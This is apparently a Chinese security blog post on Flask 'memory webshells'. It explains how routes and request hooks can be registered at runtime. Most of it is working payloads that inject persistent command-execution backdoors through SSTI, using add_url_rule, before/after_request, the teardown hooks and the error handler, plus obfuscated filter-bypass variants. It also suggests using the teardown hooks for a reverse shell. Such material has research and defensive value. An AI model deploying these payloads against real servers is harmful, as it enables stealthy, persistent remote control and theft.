flask内存马
flask内存马
基础原理
1.1Webshell的技术历程
web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
1.2什么是内存马
内存马是一种无文件Webshell,简单来说就是服务器上不会存在需要链接的webshell脚本文件。内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码,一句话就能概括,那就是对访问路径映射及相关处理代码的动态注册。
demo
测试源码:
from flask import Flask, request, render_template_string |
对于flask框架的内存马有很多,
一、app.route
调用底层方法:app.add_url_rule
一般flask中注册路由是利用的@app.route
修饰器, 跟进则这个修饰其,发现其调用了方法add_url_rule()
方法。
ps:web菜:rooster:的我在一开始调试时是这样打的断点:
但是直接跳入了另一个方法,后面深入了解了一下修饰器与语法糖(修饰器就是一种语法糖):
语法糖(Syntactic Sugar):语法糖是指一种编程语言的语法特性,它并不会引入新的功能,而是为了让代码更易读、更简洁。语法糖可以让程序员用更简洁的语法来表达相同的逻辑。在Python中,一些常见的语法糖包括列表推导式、字典推导式、装饰器等。 |
这里在add_url_rule
前面加上了@,那么在执行add_url_rule
方法时就会跳转到方法setupmethod
,所以这里打断点不起作用的,在setupmethod
内部依然会执行add_url_rule
的内容。
除开上面的菜:rooster:题外话,总之就是可以调用add_url_rule
进行路由设置(当然有flak版本限制),payload:
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) |
app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())
这句代码就是利用方法add_url_rule
方法来进行动态路由添加
{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
就是声明app
和_request_ctx_stack
,让上面的代码能够找到,
request_ctx_stack.top.request.args.get
这个的话就是利用request_ctx_stack.top
获取请求上下文,request.args.get
获取get请求函数就行。
实际应用中往往都存在过滤, 因此了解如何绕过还是必要的. |
payload变形1:
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'whoami')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')}) |
payload变形2:
get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")}) |
参考:https://xz.aliyun.com/t/10933
二、before_request
调用底层方法:before_request_funcs
在 Flask 中,before_request
是一个装饰器,它用于在请求处理之前执行特定的函数。这个装饰器允许对每个请求进行一些预处理,比如认证检查、日志记录、设置响应头等。
这个函数实际上调用的是self.before_request_funcs.setdefault(None, []).append(f)
函数
函数参数意思:
- 检查
self.before_request_funcs
字典中是否有一个键为None
的条目。 - 如果没有
None
键,就在字典中创建它,并将其值设置为一个空列表。 - 然后,无论
None
键是否存在,都将函数f
添加到这个列表中。
如果传入:
app.before_request_funcs.setdefault(None, []).append(lambda: "123") |
就会将匿名函数lambda
添加到列表,简而言之就是我们每次发起请求之前,就会调用这个方法,触发里面定义的函数,
执行后访问页面就会显示123。
payload:
app.before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen('whoami').read()) |
or:
app.before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(request.args.get('cmd')).read()) |
可见通过before_request
添加内存马这一条路是可行的,但同样会有一点问题,就是使用lambda必然会得到一个返回值,那么服务后续的操作都无法进行,会影响到主机的正常业务。
三、after_request
调用底层方法:after_request_funcs
@app.after_request
与@app.before_request
类似,after_request
会在请求结束得到响应包之后进行操作,列如可以添加响应头记录日志。
查看底层源码可以看到其调用方法和before_request
类似。self.after_request_funcs.setdefault(None, []).append(f)
传入的f就是对应的自定义函数,但这里的f需要接收一个response对象,同时返回一个response对象。
但我们仅通过lambad无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response。
payload:
app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp) |
lambda resp: #传入参数 |
ssti中的利用:
url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']}) |
先试了下第一个,发现有报错:
改进一下:
app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())')==None else resp) |
接下来就是愉快的任意命令执行:
四、teardown_request
调用底层方法:teardown_request_funcs
注册在每一个请求的末尾,不管是否有异常,每次请求的最后都会执行。
这个和before_request
很像,payload:
app.teardown_request_funcs.setdefault(None, []).append((lambda x :__import__('os').popen("calc").read()) |
能执行但是没有回显,用来反弹shell应该不错:
不能调用request.args.get()
动态执行传入的命令,但是可以执行注入的代码.每次刷新网页都会执行.原因是这个装饰器的触发是在请求被销毁后的.在这个时候上一个HTTP请求帧已经被销毁了,但是可以执行静态命令。
五、teardown_appcontext
不管是否有异常,注册的函数都会在每次请求之后执行.flask 为上下文提供了一个teardown_appcontext
钩子,使用它注册的毁掉函数会在程序上下文被销毁时调用,通常也在请求上下文被销毁时调用.某些情况下这个函数和
payload:
app.teardown_appcontext_funcs.append(lambda x :__import__('os').popen("calc").read()) |
同样不能调用request.args.get()
动态执行传入的命令,但是可以执行注入的代码.每次刷新网页都会执行.原因是这个装饰器的触发是在请求被销毁后的.不然会报错
六、errohandler
参考:https://www.cnblogs.com/gxngxngxn/p/18181936
payload:
exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()") |
这个方法还是非常好用的并且有回显。
需要注意这里用的下是exec,因为eval并不能执行python语句
总结:
上面的app除了利用ssti来获得也可以sys.modules['__main__'].__dict__['app']
app.route有flask版本限制,只能在低版本才能成功,剩下的四个目前都行。
参考:https://xz.aliyun.com/t/14421